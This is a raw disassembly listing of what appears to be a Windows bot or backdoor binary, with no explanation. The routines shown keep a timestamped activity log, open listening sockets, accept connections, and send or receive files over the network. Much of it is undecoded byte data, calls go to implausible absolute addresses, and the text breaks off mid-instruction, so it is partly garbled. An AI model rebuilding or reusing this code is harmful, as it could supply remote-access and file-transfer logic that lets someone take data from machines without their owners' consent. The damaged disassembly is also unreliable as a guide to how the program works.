cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_4156B0 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_41576C ; --------------------------------------------------------------------------- loc_4156B0: ; CODE XREF: ___:0041569Aj mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi call near ptr 71AB155Ah nop push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4C92AC push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4C92EC test eax, eax jnz short loc_415714 or eax, 0FFFFFFFFh jmp short loc_41576C ; --------------------------------------------------------------------------- loc_415714: ; CODE XREF: ___:0041570Dj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_41571F loc_41571B: ; CODE XREF: ___:0041573Fj ; ___:00415763j mov eax, edi jmp short loc_41576C ; --------------------------------------------------------------------------- loc_41571F: ; CODE XREF: ___:00415719j lea eax, [ebp-10Ch] push eax push esi call sub_426636 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_415741 lea eax, [ebp-210h] push eax push esi call sub_426636 ; --------------------------------------------------------------------------- test eax, eax jz short loc_41571B loc_415741: ; CODE XREF: ___:0041572Ej lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_41571B mov eax, [ebp-4] neg eax sbb eax, eax loc_41576C: ; CODE XREF: ___:004156ABj ; ___:00415712j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dd 81EC8B55h, 10CECh, 57565300h, 3358016Ah, 535350DBh dd 0FF68h, 6A036A00h, 0EC458902h, 26BE890h, 4D8D716Ah dd 51046AECh, 5053026Ah, 4CCB30A3h, 0E415FF00h, 8B004C92h dd 4270B835h, 50D6FF00h, 689FE8h, 0C0335900h, 0BD8D196Ah dd 0FFFFFF00h, 0F49D8959h, 89FFFFFEh, 9D89844Dh, 0FFFFFEF8h dd 0FEFC9D89h, 85C7FFFFh, 0FFFFFF74h, 401h, 0FF7885C7h dd 15FFFFh, 85C70000h, 0FFFFFF7Ch, 16h, 178045C7h, 0C7000000h dd 358845h, 45C70000h, 508Ch, 9045C700h, 51h, 589445C7h dd 0C7000000h, 6E9845h, 45C70000h, 719Ch, 0A045C700h, 77h dd 87A445C7h, 0C7000000h, 89A845h, 45C70000h, 8BACh, 0B045C700h dd 8Fh, 0BBB445C7h, 0C7000001h, 1BDB845h, 45C70000h, 400BCh dd 0C045C700h, 599h, 0DCC445C7h, 0C7000005h, 6B8C845h dd 45C70000h, 0CEACCh, 0D045C700h, 0D3Dh, 88D445C7h, 0C7000013h dd 1A0BD845h, 45C70000h, 1F40DCh, 0E045C700h, 1F90h, 5D89ABF3h dd 0E445C7F0h, 3, 0B8E845C7h, 8900000Bh, 458BFC5Dh, 85C76608h dd 0FFFFFF64h, 85890002h, 0FFFFFF68h, 8DFC458Bh, 0FF7405BCh dd 8B66FFFFh, 0FF740584h, 0FF50FFFFh, 4C930415h, 16A5300h dd 8966026Ah, 0FFFF6685h, 8415FFFFh, 8D004C93h, 4589E44Dh dd 8D8D51F4h, 0FFFFFF64h, 5051106Ah, 0FFFD7EE8h, 10C483FFh dd 0FFF84589h, 15FFF475h, 4C939Ch, 75F85D39h, 0FC4D8B0Ch dd 8489078Bh, 0FFFEF40Dh, 0FC4583FFh, 0FC7D8304h, 0BF837C70h dd 4CCB34h, 42CDCC68h, 0C3E85700h, 59000066h, 89D6FF59h dd 858DF445h, 0FFFFFEF4h, 89FC5D89h, 0D6FFF845h, 33F4452Bh dd 3E8B9D2h, 0F1F70000h, 770C453Bh, 0F8458B45h, 0C33B008Bh dd 57501574h, 4376FC68h, 45895700h, 6684E8F0h, 0C4830000h dd 681AEB10h, 0FFFFh, 31F0E853h, 59590000h, 415FF50h, 0F004C93h dd 4589C0B7h, 0FC45FFF0h, 4F84583h, 1CFC7D83h, 286AA87Ch dd 0CAD06853h, 55E8004Ch, 0BE000063h, 0FFFFh, 0CAD005C6h dd 5645004Ch, 40068h, 0D905C600h, 6004CCAh, 0CAD105C6h dd 0E808004Ch, 31A2h, 5014C483h, 930415FFh, 286A004Ch dd 0CAD4A366h, 15FF004Ch, 4C9304h, 0CAD80D80h, 39FF004Ch dd 4CCAC01Dh, 0D2A36600h, 66004CCAh, 0CAD61D89h, 1A75004Ch dd 0FFFE68h, 0E8016A00h, 3162h, 4D8B5959h, 10E0C108h, 0C10BCE23h dd 0A0680BEBh, 0FF004CC4h, 4C934415h, 0CADCA300h, 458B004Ch dd 40006808h, 0E0A30000h, 88004CCAh, 4CCAF11Dh, 415FF00h dd 56004C93h, 0F2A36653h, 0E8004CCAh, 311Eh, 5356F88Bh dd 0E808E7C1h, 3112h, 310C483h, 15FF57F8h, 4C9300h, 4CCAE8A3h dd 0CAF0A000h, 7D8B004Ch, 0C0F2408h, 0A2146A50h, 4CCAF0h dd 0F0458B66h, 0CAEC1D89h, 8966004Ch, 4CCAF61Dh, 0E6A36600h dd 89004CCAh, 4CCB0C3Dh, 101D8800h, 0C6004CCBh, 4CCB1105h dd 15FF0600h, 4C9304h, 0CB12A366h, 0A166004Ch, 4CCAE6h dd 0F805C766h, 2004CCAh, 0FC3D8900h, 66004CCAh, 4CCAFAA3h dd 0FC5D8900h, 0FFBE05EBh, 390000FFh, 2F75FC5Dh, 87E85356h dd 59000030h, 15FF5059h, 4C9304h, 0CAE4A366h, 0DCA1004Ch dd 0A3004CCAh, 4CCB08h, 0CAF105C6h, 8902004Ch, 4CCAEC1Dh dd 561FEB00h, 0F105C653h, 10004CCAh, 3051E8h, 50595900h dd 930415FFh, 0B70F004Ch, 0CAECA3C0h, 0FF66004Ch, 4CCAD405h dd 0E805FF00h, 66004CCAh, 4CCAE6A1h, 59056A00h, 4CCAE4BEh dd 0CB14BF00h, 8966004Ch, 4CCADA1Dh, 1D896600h, 4CCAF4h dd 0A5F3146Ah, 4CCAD0BEh, 0FAA36600h, 56004CCAh, 0FF4ECEE8h dd 68206AFFh, 4CCB08h, 0CADAA366h, 0BCE8004Ch, 83FFFF4Eh dd 0A36610C4h, 4CCAF4h, 0F868106Ah, 53004CCAh, 0FF56286Ah dd 4CCB3035h, 6815FF00h, 0FF004C93h, 7D81FC45h, 3FFFCh dd 238C0F00h, 90FFFFFFh, 28AAE6E8h, 0F4452B02h, 0E8B9D233h dd 0F7000003h, 0C453BF1h, 75FF0E77h, 19E89010h, 0E90227A4h dd 0FFFFFDC2h, 34B85E5Fh, 5B004CCBh ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BF6 proc near ; CODE XREF: sub_401AC7+710Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43B4C0 mov edi, 0B8h loc_415C0A: ; CODE XREF: sub_415BF6+33j cmp byte ptr [esi], 0 jz short loc_415C2D push [ebp+arg_0] push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_415C2D inc [ebp+var_4] add esi, edi cmp esi, offset dword_43C040 jl short loc_415C0A jmp short loc_415C6F ; --------------------------------------------------------------------------- loc_415C2D: ; CODE XREF: sub_415BF6+17j ; sub_415BF6+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43B4C0[esi] push ebx call sub_41BD10 push 17h push [ebp+arg_0] push ebx call sub_41BD70 push 9Fh lea eax, dword_43B4D8[esi] push [ebp+arg_4] push eax call sub_41BD70 add esp, 24h inc dword_4294D0 pop ebx loc_415C6F: ; CODE XREF: sub_415BF6+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C76 proc near ; CODE XREF: sub_401AC7+2880p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_437718 push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h xor edi, edi mov esi, offset dword_43B4C0 loc_415CA0: ; CODE XREF: sub_415C76+72j cmp byte ptr [esi], 0 jz short loc_415CDB lea eax, [esi+18h] push eax push esi push edi push offset dword_437704 lea eax, [ebp+var_200] push 200h push eax call sub_41C100 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 2Ch loc_415CDB: ; CODE XREF: sub_415C76+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43C040 jl short loc_415CA0 pop edi pop esi leave retn sub_415C76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CEE proc near ; CODE XREF: ___:004015A2p ; ___:00401623p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 27C0000h mov ebx, offset dword_4D0F34 mov edi, 80h mov esi, offset dword_4CCF34 loc_415D10: ; CODE XREF: sub_415CEE+3Dj cmp byte ptr [ebx], 0 jz short loc_415D27 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BD70 add esp, 0Ch loc_415D27: ; CODE XREF: sub_415CEE+25j sub ebx, edi cmp ebx, esi jge short loc_415D10 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C100 add esp, 28h pop edi pop esi pop ebx leave retn sub_415CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D62 proc near ; CODE XREF: sub_4017E7+F7p ; sub_401AC7:loc_408954p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C900 lea eax, [ebp+var_80] push eax call sub_415CEE add esp, 14h leave retn sub_415D62 endp ; =============== S U B R O U T I N E ======================================= sub_415D8E proc near ; CODE XREF: sub_401AC7+2777p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CCF34 xor ecx, ecx loc_415D95: ; CODE XREF: sub_415D8E+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D0F34 jl short loc_415D95 cmp [esp+arg_C], ecx jnz short loc_415DC3 push ecx push [esp+4+arg_8] push offset dword_437764 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409862 add esp, 14h loc_415DC3: ; CODE XREF: sub_415D8E+19j push offset dword_437750 call sub_415CEE pop ecx retn sub_415D8E endp ; =============== S U B R O U T I N E ======================================= sub_415DCF proc near ; CODE XREF: ___:0040E1F0p arg_0 = dword ptr 4 push esi mov esi, offset dword_4CCF34 loc_415DD5: ; CODE XREF: sub_415DCF+27j cmp byte ptr [esi], 0 jz short loc_415DEA push [esp+4+arg_0] push esi call sub_418584 pop ecx test eax, eax pop ecx jnz short loc_415DFC loc_415DEA: ; CODE XREF: sub_415DCF+9j add esi, 80h cmp esi, offset dword_4D0F34 jl short loc_415DD5 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415DFC: ; CODE XREF: sub_415DCF+19j push 1 pop eax pop esi retn sub_415DCF endp ; --------------------------------------------------------------------------- byte_415E01 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+282Ao ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_415E54 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_437794 push eax push dword ptr [ebp-11Ch] call sub_409862 add esp, 14h loc_415E54: ; CODE XREF: ___:00415E34j cmp byte ptr [ebp-98h], 0 jz short loc_415E74 lea eax, [ebp-98h] push eax call sub_41BEF9 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415E74 mov [ebp-8], eax loc_415E74: ; CODE XREF: ___:00415E5Bj ; ___:00415E6Fj and dword ptr [ebp+8], 0 mov esi, offset dword_4CCF34 loc_415E7D: ; CODE XREF: ___:00415ED5j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415ED7 cmp byte ptr [esi], 0 jz short loc_415EC6 cmp byte ptr [ebp-98h], 0 jz short loc_415EAC cmp dword ptr [ebp-4], 0 jnz short loc_415EAC lea eax, [ebp-98h] push eax push esi call sub_418584 pop ecx test eax, eax pop ecx jz short loc_415EC6 loc_415EAC: ; CODE XREF: ___:00415E91j ; ___:00415E97j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409862 add esp, 14h loc_415EC6: ; CODE XREF: ___:00415E88j ; ___:00415EAAj inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D0F34 jl short loc_415E7D loc_415ED7: ; CODE XREF: ___:00415E83j lea eax, [ebp-31Ch] push offset dword_437778 push eax call sub_41C006 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_415F11 push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409862 add esp, 14h loc_415F11: ; CODE XREF: ___:00415EEFj lea eax, [ebp-31Ch] push eax call sub_415CEE push dword ptr [ebp-18h] call sub_40B6C9 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h, 0D2h, 0A0h dd 5E5F022Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F30 proc near ; CODE XREF: ___:004165D5p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4C9384 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415FAC push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4C9304 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4C9344 cmp eax, esi jnz short loc_415F91 push [ebp+arg_0] call dword_4C9388 test eax, eax jz short loc_415FAC mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415F91: ; CODE XREF: sub_415F30+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4C92AC cmp eax, esi jnz short loc_415FB0 push edi call dword_4C939C loc_415FAC: ; CODE XREF: sub_415F30+1Bj ; sub_415F30+58j mov eax, esi jmp short loc_415FB2 ; --------------------------------------------------------------------------- loc_415FB0: ; CODE XREF: sub_415F30+73j mov eax, edi loc_415FB2: ; CODE XREF: sub_415F30+7Ej pop edi pop esi leave retn sub_415F30 endp ; --------------------------------------------------------------------------- word_415FB6 dw 8B55h ; DATA XREF: sub_401AC7+9F6o dd 11B4B8ECh, 0DDE80000h, 8B000062h, 56530845h, 8B6D6A57h dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h dd 8D527559h, 0FFEE4C85h, 781468FFh, 0E8500043h, 5FFEh dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh dd 0FF6C858Dh, 5350FFFFh, 0FF3839E8h, 14C483FFh, 0EE4C858Dh dd 0E850FFFFh, 0FFFFFCB6h, 0E8F075FFh, 0FFFF5689h, 0E8565959h dd 22D9FB8h, 0B4B86890h, 0E8530043h, 40FEh, 0FFF88359h dd 8D597559h, 0FFEE4C85h, 77E468FFh, 0E8500043h, 5F9Ah dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh dd 0FF6C858Dh, 5350FFFFh, 0FF37D5E8h, 14C483FFh, 0EE4C858Dh dd 0E850FFFFh, 0FFFFFC52h, 15FF5359h, 4C939Ch, 0E8F075FFh dd 0FFFF561Dh, 0E8905659h, 22D9F4Ch, 0E890646Ah, 2279F44h dd 0BEFF33h, 56000010h, 0EE4C858Dh, 5057FFFFh, 5C3FE8h dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h, 4C931Ch dd 387EC085h, 0EE4C858Dh, 8468FFFFh, 500042A0h, 6537E8h dd 4C858D00h, 50FFFFEEh, 3E39E8h, 0CC48300h, 1474C085h dd 0E890646Ah, 2279EECh, 0DAE80A6Ah, 85FFFF54h, 0A37559C0h dd 0EE4C858Dh, 0B068FFFFh, 50004377h, 5ED5E8h, 0F87D3900h dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h, 0FFFF6C85h dd 0E85350FFh, 0FFFF3712h, 8D14C483h, 0FFEE4C85h, 8FE850FFh dd 59FFFFFBh, 9C15FF53h, 0FF004C93h, 5AE8F075h, 59FFFF55h dd 89E89057h db 9Eh, 2Dh, 2 ; --------------------------------------------------------------------------- loc_416177: ; DATA XREF: sub_401AC7+76ABo push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4C9384 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_4161C5 push offset unk_437914 jmp loc_41637E ; --------------------------------------------------------------------------- loc_4161C5: ; CODE XREF: ___:004161B9j push 10h lea eax, [ebp-30h] push esi push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4C9304 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4C9330 test eax, eax jz short loc_416203 push offset unk_4378F0 jmp loc_41637E ; --------------------------------------------------------------------------- loc_416203: ; CODE XREF: ___:004161F7j lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4C92A8 push dword ptr [ebp-2Eh] call dword_4C9234 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41B960 pop ecx loc_416235: ; CODE XREF: ___:00416266j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_416248 push 5Fh pop eax jmp short loc_41624B ; --------------------------------------------------------------------------- loc_416248: ; CODE XREF: ___:00416241j movsx eax, al loc_41624B: ; CODE XREF: ___:00416246j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41B960 cmp [ebp+8], eax pop ecx jbe short loc_416235 push ebx push edi call dword_4C932C test eax, eax jz short loc_41627E push offset unk_437814 jmp loc_41637E ; --------------------------------------------------------------------------- loc_41627E: ; CODE XREF: ___:00416272j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 273075Dh cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4162A8 push offset unk_4378D0 jmp loc_41637E ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: ___:0041629Cj push esi push eax call near ptr 2760B82h nop mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40A9FA pop ecx push eax call dword_4C9344 push eax call dword_4C9300 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_4378B8 push eax call sub_41C006 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409862 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4C92EC test eax, eax jg short loc_416358 push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_4378A0 push eax push dword ptr [ebp-1FCh] call sub_409862 jmp loc_41647C ; --------------------------------------------------------------------------- loc_416358: ; CODE XREF: ___:00416336j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4C9398 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416391 push offset unk_43787C loc_41637E: ; CODE XREF: ___:004161C0j ; ___:004161FEj ... lea eax, [ebp-3FCh] push eax call sub_41C006 pop ecx pop ecx jmp loc_41647F ; --------------------------------------------------------------------------- loc_416391: ; CODE XREF: ___:00416377j push edi call dword_4C939C cmp [ebp+8], esi jz loc_416443 mov edi, 400h loc_4163A6: ; CODE XREF: ___:0041643Aj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_4163B3 mov [ebp-4], eax loc_4163B3: ; CODE XREF: ___:004163AEj push edi lea eax, [ebp-0A04h] push esi push eax call sub_41BD10 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 27A0000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 2710000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4C9354 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4C931C cmp eax, ebx jl loc_4164D8 mov eax, [ebp-4] cmp eax, ebx jl loc_4164D8 sub [ebp+8], eax jnz loc_4163A6 mov edi, [ebp-18h] loc_416443: ; CODE XREF: ___:0041639Bj push dword ptr [ebp-8] nop call near ptr 2670000h push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416C7D pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4C9390 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_437850 push eax call sub_41C006 loc_41647C: ; CODE XREF: ___:00416353j add esp, 14h loc_41647F: ; CODE XREF: ___:0041638Cj cmp [ebp-50h], esi jnz short loc_4164A4 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409862 add esp, 14h loc_4164A4: ; CODE XREF: ___:00416482j lea eax, [ebp-3FCh] push eax call sub_415CEE cmp edi, esi pop ecx jbe short loc_4164BC push edi call dword_4C939C loc_4164BC: ; CODE XREF: ___:004164B3j push dword ptr [ebp-1F8h] call dword_4C939C push dword ptr [ebp-58h] call sub_40B6C9 pop ecx push esi nop call near ptr 26F0000h loc_4164D8: ; CODE XREF: ___:00416426j ; ___:00416431j push esi mov esi, offset dword_437838 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409862 push esi call sub_415CEE add esp, 18h push dword ptr [ebp-1F8h] call dword_4C939C push dword ptr [ebp-58h] call sub_40B6C9 pop ecx push ebx nop call near ptr 26F0000h loc_416519: ; DATA XREF: sub_401AC7+78Fo push ebp mov ebp, esp mov eax, 14C4h call sub_41C2A0 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2680B09h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429ACC push eax call sub_41C006 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 273075Dh cmp eax, 0FFFFFFFFh jnz short loc_4165A3 push offset unk_4379B4 jmp short loc_4165E9 ; --------------------------------------------------------------------------- loc_4165A3: ; CODE XREF: ___:0041659Aj push eax nop call near ptr 2670000h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41BC88 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_4165CB push offset unk_437984 jmp short loc_4165E9 ; --------------------------------------------------------------------------- loc_4165CB: ; CODE XREF: ___:004165C2j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415F30 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_4165FC push offset unk_437964 loc_4165E9: ; CODE XREF: ___:004165A1j ; ___:004165C9j lea eax, [ebp-4C4h] push eax call sub_41C006 pop ecx pop ecx jmp loc_4166F6 ; --------------------------------------------------------------------------- loc_4165FC: ; CODE XREF: ___:004165E2j mov esi, 1000h loc_416601: ; CODE XREF: ___:00416667j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4C931C mov edi, eax cmp edi, ebx jz loc_4166C8 cmp edi, 0FFFFFFFFh jz short loc_416669 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41DA54 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4C9300 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4C9354 jmp short loc_416601 ; --------------------------------------------------------------------------- loc_416669: ; CODE XREF: ___:00416631j lea eax, [ebp-4C4h] push offset dword_437838 push eax call sub_41C006 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409862 lea eax, [ebp-4C4h] push eax call sub_415CEE push dword ptr [ebp-4] call sub_41B9DB add esp, 24h push dword ptr [ebp+8] call dword_4C939C push dword ptr [ebp-1Ch] call sub_40B6C9 pop ecx push 1 call near ptr 26F0000h nop loc_4166C8: ; CODE XREF: ___:00416628j mov eax, [ebp-8] cdq push edx push eax call sub_416C7D push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437938 push eax call sub_41C006 add esp, 1Ch loc_4166F6: ; CODE XREF: ___:004165F7j cmp [ebp-14h], ebx jnz short loc_41671B push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409862 add esp, 14h loc_41671B: ; CODE XREF: ___:004166F9j lea eax, [ebp-4C4h] push eax call sub_415CEE cmp [ebp-4], ebx pop ecx jz short loc_416736 push dword ptr [ebp-4] call sub_41B9DB pop ecx loc_416736: ; CODE XREF: ___:0041672Bj cmp [ebp+8], ebx jbe short loc_416744 push dword ptr [ebp+8] call dword_4C939C loc_416744: ; CODE XREF: ___:00416739j push dword ptr [ebp-1Ch] call sub_40B6C9 pop ecx push ebx call near ptr 26F0000h nop loc_416754: ; DATA XREF: sub_401AC7+61D9o ; sub_401AC7+6A07o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4C92B4 call dword_4C9208 cmp eax, esi mov [ebp-18h], eax jz loc_416BE0 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call near ptr 273075Dh nop cmp eax, edi mov [ebp-20h], eax jnb short loc_41681B lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_437B80 push eax call sub_41C006 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4167FE push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_4167FE: ; CODE XREF: ___:004167DCj lea eax, [ebp-510h] push eax call sub_415CEE push dword ptr [ebp-48h] call sub_40B6C9 pop ecx pop ecx push esi nop call near ptr 26F0000h loc_41681B: ; CODE XREF: ___:004167BCj xor edi, edi call near ptr 26A06B3h nop mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41BC9B pop ecx mov [ebp-1Ch], eax loc_416835: ; CODE XREF: ___:00416908j push 200h lea eax, [ebp-510h] push esi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4C9210 cmp [ebp-34h], esi jz short loc_416879 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_416C46 pop ecx pop ecx loc_416879: ; CODE XREF: ___:00416866j lea 